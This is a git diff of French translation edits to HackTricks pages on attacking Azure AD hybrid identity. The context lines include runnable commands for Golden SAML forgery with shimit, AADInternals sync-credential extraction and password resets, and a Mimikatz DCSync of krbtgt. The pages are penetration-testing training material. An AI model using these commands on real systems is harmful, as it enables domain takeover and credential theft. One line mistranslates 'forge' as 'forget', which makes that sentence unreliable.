 $DomainComputersSID = "SID=" + $DomainComputersSID
@@ -27,7 +27,7 @@ $encryptedSecret = [DpapiNgUtil]::ProtectBase64($descriptor, $ServicePrincipalSe
 Nous avons les conditions suivantes :
 
 1. Nous avons réussi à pénétrer le réseau interne.
-2. Nous avons la capacité de créer ou de prendre le contrôle d'un compte d'ordinateur au sein d'Active Directory.
+2. Nous avons la capacité de créer ou d'assumer le contrôle d'un compte d'ordinateur au sein d'Active Directory.
 3. Nous avons découvert un partage réseau contenant le répertoire AzureArcDeploy.
 
 Il existe plusieurs méthodes pour obtenir un compte machine dans un environnement AD. L'une des plus courantes consiste à exploiter le quota de compte machine. Une autre méthode implique de compromettre un compte machine via des ACL vulnérables ou diverses autres mauvaises configurations.
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md
index 756644ada..e4f952512 100644
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md
@@ -9,7 +9,7 @@
 Les jetons et les données sensibles sont stockés localement par Azure CLI, soulevant des préoccupations de sécurité :
 
 1. **Jetons d'accès** : Stockés en texte clair dans `accessTokens.json` situé à `C:\Users\\.Azure`.
-2. **Informations sur l'abonnement** : `azureProfile.json`, dans le même répertoire, contient les détails de l'abonnement.
+2. **Informations d'abonnement** : `azureProfile.json`, dans le même répertoire, contient les détails de l'abonnement.
 3. **Fichiers journaux** : Le dossier `ErrorRecords` dans `.azure` peut contenir des journaux avec des identifiants exposés, tels que :
 - Commandes exécutées avec des identifiants intégrés.
 - URL accessibles à l'aide de jetons, révélant potentiellement des informations sensibles.
@@ -20,7 +20,7 @@ Azure PowerShell stocke également des jetons et des données sensibles, qui peu
 
 1. **Jetons d'accès** : `TokenCache.dat`, situé à `C:\Users\\.Azure`, stocke les jetons d'accès en texte clair.
 2. **Secrets de principal de service** : Ceux-ci sont stockés non chiffrés dans `AzureRmContext.json`.
-3. **Fonction de sauvegarde de jetons** : Les utilisateurs ont la possibilité de persister les jetons en utilisant la commande `Save-AzContext`, qui doit être utilisée avec prudence pour éviter tout accès non autorisé.
+3. **Fonctionnalité de sauvegarde de jetons** : Les utilisateurs ont la possibilité de persister les jetons en utilisant la commande `Save-AzContext`, qui doit être utilisée avec prudence pour éviter tout accès non autorisé.
 
 ## Outils automatiques pour les trouver
 
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md
index 8789964e6..b470faf0b 100644
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md
@@ -24,11 +24,11 @@ Windows peut alors **échanger ce TGT partiel contre un TGT complet** en demanda
 
 Comme il pourrait y avoir des services qui ne prennent pas en charge l'authentification Kerberos mais NTLM, il est possible de demander un **TGT partiel signé avec une clé `krbtgt` secondaire** en incluant le champ **`KERB-KEY-LIST-REQ`** dans la partie **PADATA** de la demande, puis d'obtenir un TGT complet signé avec la clé `krbtgt` principale **incluant le hachage NT dans la réponse**.
 
-## Abuser de la confiance Cloud Kerberos pour obtenir les privilèges Domain Admin 
+## Abus de la confiance Cloud Kerberos pour obtenir les privilèges Domain Admin 
 
-Lorsque AzureAD génère un **TGT partiel**, il utilisera les détails qu'il a sur l'utilisateur. Par conséquent, si un Global Admin pouvait modifier des données comme l'**identifiant de sécurité et le nom de l'utilisateur dans AzureAD**, lors de la demande d'un TGT pour cet utilisateur, l'**identifiant de sécurité serait différent**.
+Lorsque AzureAD génère un **TGT partiel**, il utilisera les détails qu'il a sur l'utilisateur. Par conséquent, si un administrateur global pouvait modifier des données comme l'**identifiant de sécurité et le nom de l'utilisateur dans AzureAD**, lors de la demande d'un TGT pour cet utilisateur, l'**identifiant de sécurité serait différent**.
 
-Il n'est pas possible de faire cela via Microsoft Graph ou Azure AD Graph, mais il est possible d'utiliser l'**API que Active Directory Connect** utilise pour créer et mettre à jour des utilisateurs synchronisés, ce qui peut être utilisé par les Global Admins pour **modifier le nom SAM et le SID de tout utilisateur hybride**, et ensuite, si nous nous authentifions, nous obtenons un TGT partiel contenant le SID modifié.
+Il n'est pas possible de faire cela via Microsoft Graph ou Azure AD Graph, mais il est possible d'utiliser l'**API que Active Directory Connect** utilise pour créer et mettre à jour les utilisateurs synchronisés, ce qui peut être utilisé par les administrateurs globaux pour **modifier le nom SAM et le SID de tout utilisateur hybride**, et ensuite, si nous nous authentifions, nous obtenons un TGT partiel contenant le SID modifié.
 
 Notez que nous pouvons faire cela avec AADInternals et mettre à jour les utilisateurs synchronisés via la cmdlet [Set-AADIntAzureADObject](https://aadinternals.com/aadinternals/#set-aadintazureadobject-a).
 
@@ -36,11 +36,11 @@ Notez que nous pouvons faire cela avec AADInternals et mettre à jour les utilis
 
 Le succès de l'attaque et l'obtention des privilèges Domain Admin dépendent de la satisfaction de certains prérequis :
 
-- La capacité à modifier des comptes via l'API de Synchronisation est cruciale. Cela peut être réalisé en ayant le rôle de Global Admin ou en possédant un compte de synchronisation AD Connect. Alternativement, le rôle d'Administrateur d'Identité Hybride suffirait, car il accorde la capacité de gérer AD Connect et d'établir de nouveaux comptes de synchronisation.
+- La capacité à modifier des comptes via l'API de synchronisation est cruciale. Cela peut être réalisé en ayant le rôle d'administrateur global ou en possédant un compte de synchronisation AD Connect. Alternativement, le rôle d'administrateur d'identité hybride suffirait, car il accorde la capacité de gérer AD Connect et d'établir de nouveaux comptes de synchronisation.
 - La présence d'un **compte hybride** est essentielle. Ce compte doit être modifiable avec les détails du compte de la victime et doit également être accessible pour l'authentification.
 - L'identification d'un **compte victime cible** au sein d'Active Directory est une nécessité. Bien que l'attaque puisse être exécutée sur n'importe quel compte déjà synchronisé, le locataire Azure AD ne doit pas avoir répliqué les identifiants de sécurité sur site, nécessitant la modification d'un compte non synchronisé pour obtenir le ticket.
 - De plus, ce compte doit posséder des privilèges équivalents à ceux d'un administrateur de domaine mais ne doit pas être membre des groupes d'administrateurs AD typiques pour éviter la génération de TGT invalides par le RODC AzureAD.
-- La cible la plus appropriée est le **compte Active Directory utilisé par le service de synchronisation AD Connect**. Ce compte n'est pas synchronisé avec Azure AD, laissant son SID comme une cible viable, et il détient intrinsèquement des privilèges équivalents à ceux d'un Domain Admin en raison de son rôle dans la synchronisation des hachages de mots de passe (en supposant que la synchronisation des hachages de mots de passe est active). Pour les domaines avec installation express, ce compte est préfixé par **MSOL\_**. Pour d'autres cas, le compte peut être identifié en énumérant tous les comptes dotés de privilèges de réplication de répertoire sur l'objet de domaine.
+- La cible la plus appropriée est le **compte Active Directory utilisé par le service de synchronisation AD Connect**. Ce compte n'est pas synchronisé avec Azure AD, laissant son SID comme une cible viable, et il détient intrinsèquement des privilèges équivalents à ceux d'un administrateur de domaine en raison de son rôle dans la synchronisation des hachages de mots de passe (en supposant que la synchronisation des hachages de mots de passe est active). Pour les domaines avec installation express, ce compte est préfixé par **MSOL\_**. Pour d'autres cas, le compte peut être identifié en énumérant tous les comptes dotés de privilèges de réplication d'annuaire sur l'objet de domaine.
 
 ### L'attaque complète 
 
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md
index 2b594c3aa..cd155c64f 100644
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md
@@ -4,6 +4,6 @@
 
 **Vérifiez la technique dans :** [**https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/**](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)**,** [**https://www.youtube.com/watch?v=JEIR5oGCwdg**](https://www.youtube.com/watch?v=JEIR5oGCwdg) et [**https://www.youtube.com/watch?v=xei8lAPitX8**](https://www.youtube.com/watch?v=xei8lAPitX8)
 
-Le billet de blog discute d'une vulnérabilité d'escalade de privilèges dans Azure AD, permettant aux administrateurs d'applications ou aux comptes de synchronisation sur site compromis d'escalader des privilèges en attribuant des identifiants à des applications. La vulnérabilité, découlant du comportement "par conception" de la gestion des applications et des principaux de service par Azure AD, affecte notamment les applications Office 365 par défaut. Bien que signalé, le problème n'est pas considéré comme une vulnérabilité par Microsoft en raison de la documentation du comportement d'attribution des droits d'administrateur. Le billet fournit des informations techniques détaillées et conseille des examens réguliers des identifiants de principaux de service dans les environnements Azure AD. Pour des informations plus détaillées, vous pouvez visiter le billet de blog original.
+Le billet de blog discute d'une vulnérabilité d'escalade de privilèges dans Azure AD, permettant aux administrateurs d'applications ou aux comptes de synchronisation sur site compromis d'escalader des privilèges en attribuant des identifiants à des applications. La vulnérabilité, découlant du comportement "par conception" de la gestion des applications et des principaux de service par Azure AD, affecte notamment les applications Office 365 par défaut. Bien que signalé, le problème n'est pas considéré comme une vulnérabilité par Microsoft en raison de la documentation du comportement d'attribution des droits d'administrateur. Le billet fournit des informations techniques détaillées et conseille des examens réguliers des identifiants des principaux de service dans les environnements Azure AD. Pour plus d'informations détaillées, vous pouvez visiter le billet de blog original.
 
 {{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md
index 422a227a0..0c5d07ac1 100644
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md
@@ -2,7 +2,7 @@
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
-## Synchroniser les utilisateurs AzureAD vers l'on-prem pour escalader de l'on-prem vers AzureAD
+## Synchronisation des utilisateurs AzureAD vers l'on-prem pour escalader de l'on-prem vers AzureAD
 
 Pour synchroniser un nouvel utilisateur **d'AzureAD vers l'AD on-prem**, voici les exigences :
 
@@ -12,12 +12,12 @@ Pour synchroniser un nouvel utilisateur **d'AzureAD vers l'AD on-prem**, voici l
 ```powershell
 Get-MsolUser -SerachString admintest | select displayname, lastdirsynctime, proxyaddresses, lastpasswordchangetimestamp | fl
 ```
-Lorsque un utilisateur comme ceux-ci est trouvé dans AzureAD, pour **y accéder depuis l'AD sur site**, vous devez simplement **créer un nouveau compte** avec le **proxyAddress** l'email SMTP.
+Lorsqu'un utilisateur comme ceux-ci est trouvé dans AzureAD, pour **y accéder depuis l'AD sur site**, vous devez simplement **créer un nouveau compte** avec le **proxyAddress** l'email SMTP.
 
 Automatiquement, cet utilisateur sera **synchronisé d'AzureAD vers l'utilisateur AD sur site**.
 
 > [!CAUTION]
-> Remarque que pour effectuer cette attaque, vous **n'avez pas besoin de Domain Admin**, vous avez juste besoin de permissions pour **créer de nouveaux utilisateurs**.
+> Remarque : pour effectuer cette attaque, vous **n'avez pas besoin de Domain Admin**, vous avez juste besoin de permissions pour **créer de nouveaux utilisateurs**.
 >
 > De plus, cela **ne contournera pas la MFA**.
 >
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md
index 78937aaa4..ca0de0028 100644
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md
@@ -2,15 +2,15 @@
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
-## Basic Information
+## Informations de base
 
-[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)**La fédération** est un ensemble de **domaines** qui ont établi une **confiance**. Le niveau de confiance peut varier, mais inclut généralement **l'authentification** et inclut presque toujours **l'autorisation**. Une fédération typique pourrait inclure un **certain nombre d'organisations** qui ont établi une **confiance** pour un **accès partagé** à un ensemble de ressources.
+[Selon la documentation :](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)**La fédération** est un ensemble de **domaines** qui ont établi une **confiance**. Le niveau de confiance peut varier, mais inclut généralement **l'authentification** et inclut presque toujours **l'autorisation**. Une fédération typique pourrait inclure un **certain nombre d'organisations** qui ont établi une **confiance** pour un **accès partagé** à un ensemble de ressources.
 
-Vous pouvez **fédérer votre environnement sur site** **avec Azure AD** et utiliser cette fédération pour l'authentification et l'autorisation. Cette méthode de connexion garantit que toute **authentification des utilisateurs se produit sur site**. Cette méthode permet aux administrateurs de mettre en œuvre des niveaux de contrôle d'accès plus rigoureux. La fédération avec **AD FS** et PingFederate est disponible.
+Vous pouvez **fédérer votre environnement sur site** **avec Azure AD** et utiliser cette fédération pour l'authentification et l'autorisation. Cette méthode de connexion garantit que toute **authentification des utilisateurs se fait sur site**. Cette méthode permet aux administrateurs de mettre en œuvre des niveaux de contrôle d'accès plus rigoureux. La fédération avec **AD FS** et PingFederate est disponible.
 
 

 
-Fondamentalement, dans la fédération, toute **authentification** se produit dans l'environnement **sur site** et l'utilisateur bénéficie d'un SSO à travers tous les environnements de confiance. Par conséquent, les utilisateurs peuvent **accéder** aux applications **cloud** en utilisant leurs **identifiants sur site**.
+En gros, dans la fédération, toute **authentification** se fait dans l'environnement **sur site** et l'utilisateur bénéficie d'un SSO à travers tous les environnements de confiance. Par conséquent, les utilisateurs peuvent **accéder** aux applications **cloud** en utilisant leurs **identifiants sur site**.
 
 **Security Assertion Markup Language (SAML)** est utilisé pour **échanger** toutes les **informations** d'authentification et d'autorisation entre les fournisseurs.
 
@@ -24,7 +24,7 @@ Dans toute configuration de fédération, il y a trois parties :
 
 

 
-1. Initialement, une application (Fournisseur de services ou SP, comme la console AWS ou le client web vSphere) est accessible par un utilisateur. Cette étape peut être contournée, amenant le client directement à l'IdP (Fournisseur d'identité) en fonction de l'implémentation spécifique.
+1. Initialement, une application (Fournisseur de services ou SP, comme la console AWS ou le client web vSphere) est accessible par un utilisateur. Cette étape peut être contournée, amenant directement le client à l'IdP (Fournisseur d'identité) en fonction de l'implémentation spécifique.
 2. Ensuite, le SP identifie l'IdP approprié (par exemple, AD FS, Okta) pour l'authentification de l'utilisateur. Il élabore ensuite une AuthnRequest SAML (Security Assertion Markup Language) et redirige le client vers l'IdP choisi.
 3. L'IdP prend le relais, authentifiant l'utilisateur. Après l'authentification, une SAMLResponse est formulée par l'IdP et transmise au SP par l'intermédiaire de l'utilisateur.
 4. Enfin, le SP évalue la SAMLResponse. Si elle est validée avec succès, impliquant une relation de confiance avec l'IdP, l'utilisateur se voit accorder l'accès. Cela marque la fin du processus de connexion, permettant à l'utilisateur d'utiliser le service.
@@ -35,7 +35,7 @@ Dans toute configuration de fédération, il y a trois parties :
 https://book.hacktricks.xyz/pentesting-web/saml-attacks
 {{#endref}}
 
-## Pivoting
+## Pivotement
 
 - AD FS est un modèle d'identité basé sur des revendications.
 - "..les revendications sont simplement des déclarations (par exemple, nom, identité, groupe), faites à propos des utilisateurs, qui sont utilisées principalement pour autoriser l'accès à des applications basées sur des revendications situées n'importe où sur Internet."
@@ -47,7 +47,7 @@ https://book.hacktricks.xyz/pentesting-web/saml-attacks
 **Attaque Golden SAML :**
 
 - Dans ADFS, la SAML Response est signée par un certificat de signature de jeton.
-- Si le certificat est compromis, il est possible de s'authentifier auprès de l'Azure AD en tant que n'importe quel utilisateur synchronisé avec Azure AD !
+- Si le certificat est compromis, il est possible de s'authentifier auprès d'Azure AD en tant que n'importe quel utilisateur synchronisé avec Azure AD !
 - Tout comme notre abus de PTA, le changement de mot de passe pour un utilisateur ou MFA n'aura aucun effet car nous falsifions la réponse d'authentification.
 - Le certificat peut être extrait du serveur AD FS avec des privilèges DA et peut ensuite être utilisé depuis n'importe quelle machine connectée à Internet.
 - Plus d'infos sur [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
@@ -56,7 +56,7 @@ https://book.hacktricks.xyz/pentesting-web/saml-attacks
 
 Le processus par lequel un **Fournisseur d'identité (IdP)** produit une **SAMLResponse** pour autoriser la connexion de l'utilisateur est primordial. En fonction de l'implémentation spécifique de l'IdP, la **réponse** peut être **signée** ou **chiffrée** à l'aide de la **clé privée de l'IdP**. Cette procédure permet au **Fournisseur de services (SP)** de confirmer l'authenticité de la SAMLResponse, garantissant qu'elle a bien été émise par un IdP de confiance.
 
-Un parallèle peut être établi avec l'[attaque golden ticket](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/golden-ticket), où la clé authentifiant l'identité et les permissions de l'utilisateur (KRBTGT pour les tickets dorés, clé privée de signature de jeton pour le golden SAML) peut être manipulée pour **forger un objet d'authentification** (TGT ou SAMLResponse). Cela permet d'usurper l'identité de n'importe quel utilisateur, accordant un accès non autorisé au SP.
+Un parallèle peut être établi avec l'[attaque du golden ticket](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/golden-ticket), où la clé authentifiant l'identité et les permissions de l'utilisateur (KRBTGT pour les golden tickets, clé privée de signature de jeton pour le golden SAML) peut être manipulée pour **forger un objet d'authentification** (TGT ou SAMLResponse). Cela permet d'usurper l'identité de n'importe quel utilisateur, accordant un accès non autorisé au SP.
 
 Les Golden SAML offrent certains avantages :
 
@@ -69,14 +69,14 @@ Les Golden SAML offrent certains avantages :
 
 [Active Directory Federation Services (AD FS)]() est un service Microsoft qui facilite l'**échange sécurisé d'informations d'identité** entre partenaires commerciaux de confiance (fédération). Il permet essentiellement à un service de domaine de partager des identités d'utilisateur avec d'autres fournisseurs de services au sein d'une fédération.
 
-Avec AWS faisant confiance au domaine compromis (dans une fédération), cette vulnérabilité peut être exploitée pour potentiellement **acquérir toutes les permissions dans l'environnement AWS**. L'attaque nécessite la **clé privée utilisée pour signer les objets SAML**, semblable à la nécessité du KRBTGT dans une attaque de ticket doré. L'accès au compte utilisateur AD FS est suffisant pour obtenir cette clé privée.
+Avec AWS faisant confiance au domaine compromis (dans une fédération), cette vulnérabilité peut être exploitée pour potentiellement **acquérir n'importe quelles permissions dans l'environnement AWS**. L'attaque nécessite la **clé privée utilisée pour signer les objets SAML**, semblable à la nécessité du KRBTGT dans une attaque de golden ticket. L'accès au compte utilisateur AD FS est suffisant pour obtenir cette clé privée.
 
 Les exigences pour exécuter une attaque Golden SAML incluent :
 
 - **Clé privée de signature de jeton**
 - **Certificat public de l'IdP**
 - **Nom de l'IdP**
-- **Nom de rôle (rôle à assumer)**
+- **Nom du rôle (rôle à assumer)**
 - Domaine\nom d'utilisateur
 - Nom de session de rôle dans AWS
 - ID de compte Amazon
@@ -97,7 +97,7 @@ Pour acquérir la **clé privée**, l'accès au **compte utilisateur AD FS** est
 # Role Name
 (Get-ADFSRelyingPartyTrust).IssuanceTransformRule
 ```
-Avec toutes les informations, il est possible d'oublier un SAMLResponse valide en tant qu'utilisateur que vous souhaitez usurper en utilisant [**shimit**](https://github.com/cyberark/shimit)**:**
+Avec toutes les informations, il est possible d'oublier un SAMLResponse valide en tant qu'utilisateur que vous souhaitez imiter en utilisant [**shimit**](https://github.com/cyberark/shimit)**:**
 ```bash
 # Apply session for AWS cli
 python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012
@@ -133,7 +133,7 @@ Export-AADIntADFSSigningCertificate
 # Impersonate a user to to access cloud apps
 Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose
 ```
-Il est également possible de créer un ImmutableID d'utilisateurs uniquement cloud et de les usurper.
+Il est également possible de créer un ImmutableID pour les utilisateurs uniquement cloud et de les usurper.
 ```powershell
 # Create a realistic ImmutableID and set it for a cloud only user
 [System.Convert]::ToBase64String((New-Guid).tobytearray())
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md
index 3c25b3ced..b5df74f56 100644
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md
@@ -1,23 +1,23 @@
-# Az - PHS - Synchronisation de Hash de Mot de Passe
+# Az - PHS - Synchronisation des Hachages de Mot de Passe
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
 ## Informations de Base
 
-[Des docs :](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **La synchronisation de hash de mot de passe** est l'une des méthodes de connexion utilisées pour réaliser une identité hybride. **Azure AD Connect** synchronise un hash, du hash, du mot de passe d'un utilisateur d'une instance Active Directory sur site vers une instance Azure AD basée sur le cloud.
+[Selon la documentation :](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **La synchronisation des hachages de mot de passe** est l'une des méthodes de connexion utilisées pour réaliser une identité hybride. **Azure AD Connect** synchronise un hachage, du hachage, du mot de passe d'un utilisateur depuis une instance Active Directory sur site vers une instance Azure AD basée sur le cloud.
 
 

 
 C'est la **méthode la plus courante** utilisée par les entreprises pour synchroniser un AD sur site avec Azure AD.
 
-Tous les **utilisateurs** et un **hash des hash de mots de passe** sont synchronisés de l'on-prem vers Azure AD. Cependant, les **mots de passe en clair** ou les **hashes** **originaux** ne sont pas envoyés à Azure AD.\
+Tous les **utilisateurs** et un **hachage des hachages de mot de passe** sont synchronisés de l'on-prem vers Azure AD. Cependant, les **mots de passe en clair** ou les **hachages** **originaux** ne sont pas envoyés à Azure AD.\
 De plus, les groupes de sécurité **intégrés** (comme les administrateurs de domaine...) ne sont **pas synchronisés** avec Azure AD.
 
-La **synchronisation des hash** se produit toutes les **2 minutes**. Cependant, par défaut, l'**expiration des mots de passe** et l'**expiration des comptes** ne sont **pas synchronisées** dans Azure AD. Ainsi, un utilisateur dont le **mot de passe sur site est expiré** (non changé) peut continuer à **accéder aux ressources Azure** en utilisant l'ancien mot de passe.
+La **synchronisation des hachages** se produit toutes les **2 minutes**. Cependant, par défaut, l'**expiration des mots de passe** et l'**expiration des comptes** ne sont **pas synchronisées** dans Azure AD. Ainsi, un utilisateur dont le **mot de passe sur site est expiré** (non changé) peut continuer à **accéder aux ressources Azure** en utilisant l'ancien mot de passe.
 
 Lorsqu'un utilisateur sur site souhaite accéder à une ressource Azure, l'**authentification a lieu sur Azure AD**.
 
-**PHS** est requis pour des fonctionnalités comme **Identity Protection** et les services de domaine AAD.
+**PHS** est requis pour des fonctionnalités telles que **Identity Protection** et les services de domaine AAD.
 
 ## Pivotement
 
@@ -29,17 +29,17 @@ Lorsque PHS est configuré, certains **comptes privilégiés** sont automatiquem
 Les mots de passe des deux comptes privilégiés précédents sont **stockés dans un serveur SQL** sur le serveur où **Azure AD Connect est installé.** Les administrateurs peuvent extraire les mots de passe de ces utilisateurs privilégiés en clair.\
 La base de données est située dans `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`.
 
-Il est possible d'extraire la configuration d'une des tables, étant l'une chiffrée :
+Il est possible d'extraire la configuration d'une des tables, étant l'une d'elles chiffrée :
 
 `SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;`
 
-La **configuration chiffrée** est chiffrée avec **DPAPI** et contient les **mots de passe de l'utilisateur `MSOL_*`** dans l'AD sur site et le mot de passe de **Sync\_\*** dans AzureAD. Par conséquent, en compromettant ceux-ci, il est possible d'élever les privilèges vers l'AD et vers AzureAD.
+La **configuration chiffrée** est chiffrée avec **DPAPI** et contient les **mots de passe de l'utilisateur `MSOL_*`** dans l'AD sur site et le mot de passe de **Sync\_\*** dans AzureAD. Par conséquent, en compromettant ceux-ci, il est possible d'obtenir des privilèges élevés dans l'AD et dans AzureAD.
 
 Vous pouvez trouver un [aperçu complet de la façon dont ces identifiants sont stockés et déchiffrés dans cette présentation](https://www.youtube.com/watch?v=JEIR5oGCwdg).
 
 ### Trouver le **serveur Azure AD connect**
 
-Si le **serveur où Azure AD connect est installé** est joint au domaine (recommandé dans les docs), il est possible de le trouver avec :
+Si le **serveur où Azure AD connect est installé** est joint au domaine (recommandé dans la documentation), il est possible de le trouver avec :
 ```powershell
 # ActiveDirectory module
 Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl
@@ -47,7 +47,7 @@ Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAc
 #Azure AD module
 Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}
 ```
-### Abus de MSOL\_\*
+### Abus de MSOL\_*
 ```powershell
 # Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
 Get-AADIntSyncCredentials
@@ -61,7 +61,7 @@ Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.lo
 
 ### Abus de Sync\_\*
 
-En compromettant le compte **`Sync_*`**, il est possible de **réinitialiser le mot de passe** de n'importe quel utilisateur (y compris les Administrateurs Globaux)
+En compromettant le compte **`Sync_*`**, il est possible de **réinitialiser le mot de passe** de tout utilisateur (y compris les Administrateurs Globaux)
 ```powershell
 # This command, run previously, will give us alse the creds of this account
 Get-AADIntSyncCredentials
@@ -82,7 +82,7 @@ Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustA
 
 # Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)
 ```
-Il est également possible de **modifier les mots de passe des utilisateurs uniquement cloud** (même si cela est inattendu)
+Il est également possible de **modifier les mots de passe uniquement des utilisateurs cloud** (même si cela est inattendu)
 ```powershell
 # To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
 # The CloudAnchor is of the format USER_ObjectID.
@@ -96,9 +96,9 @@ Il est également possible d'extraire le mot de passe de cet utilisateur.
 > [!CAUTION]
 > Une autre option serait de **attribuer des autorisations privilégiées à un principal de service**, ce que l'utilisateur **Sync** a **la permission** de faire, puis **d'accéder à ce principal de service** comme moyen de privesc.
 
-### SSO Transparent
+### Seamless SSO
 
-Il est possible d'utiliser SSO Transparent avec PHS, qui est vulnérable à d'autres abus. Vérifiez-le dans :
+Il est possible d'utiliser Seamless SSO avec PHS, qui est vulnérable à d'autres abus. Vérifiez-le dans :
 
 {{#ref}}
 seamless-sso.md
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md
index 42461d019..db32e8987 100644
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md
@@ -22,7 +22,7 @@ Dans la même sortie, vous pouvez également voir si le **dispositif est joint 
 
 ## Cookie PRT
 
-Le cookie PRT s'appelle en réalité **`x-ms-RefreshTokenCredential`** et c'est un JSON Web Token (JWT). Un JWT contient **3 parties**, l'**en-tête**, le **corps** et la **signature**, divisées par un `.` et toutes encodées en base64 sécurisée pour l'URL. Un cookie PRT typique contient l'en-tête et le corps suivants :
+Le cookie PRT s'appelle en réalité **`x-ms-RefreshTokenCredential`** et c'est un JSON Web Token (JWT). Un JWT contient **3 parties**, l'**en-tête**, le **corps** et la **signature**, séparées par un `.` et toutes encodées en base64 sécurisée pour l'URL. Un cookie PRT typique contient l'en-tête et le corps suivants :
 ```json
 {
 "alg": "HS256",
@@ -34,7 +34,7 @@ Le cookie PRT s'appelle en réalité **`x-ms-RefreshTokenCredential`** et c'est
 "request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA"
 }
 ```
-Le **Primary Refresh Token (PRT)** actuel est encapsulé dans le **`refresh_token`**, qui est chiffré par une clé sous le contrôle d'Azure AD, rendant son contenu opaque et indécryptable pour nous. Le champ **`is_primary`** signifie l'encapsulation du jeton de rafraîchissement principal dans ce jeton. Pour garantir que le cookie reste lié à la session de connexion spécifique pour laquelle il était destiné, le `request_nonce` est transmis depuis la page `logon.microsoftonline.com`.
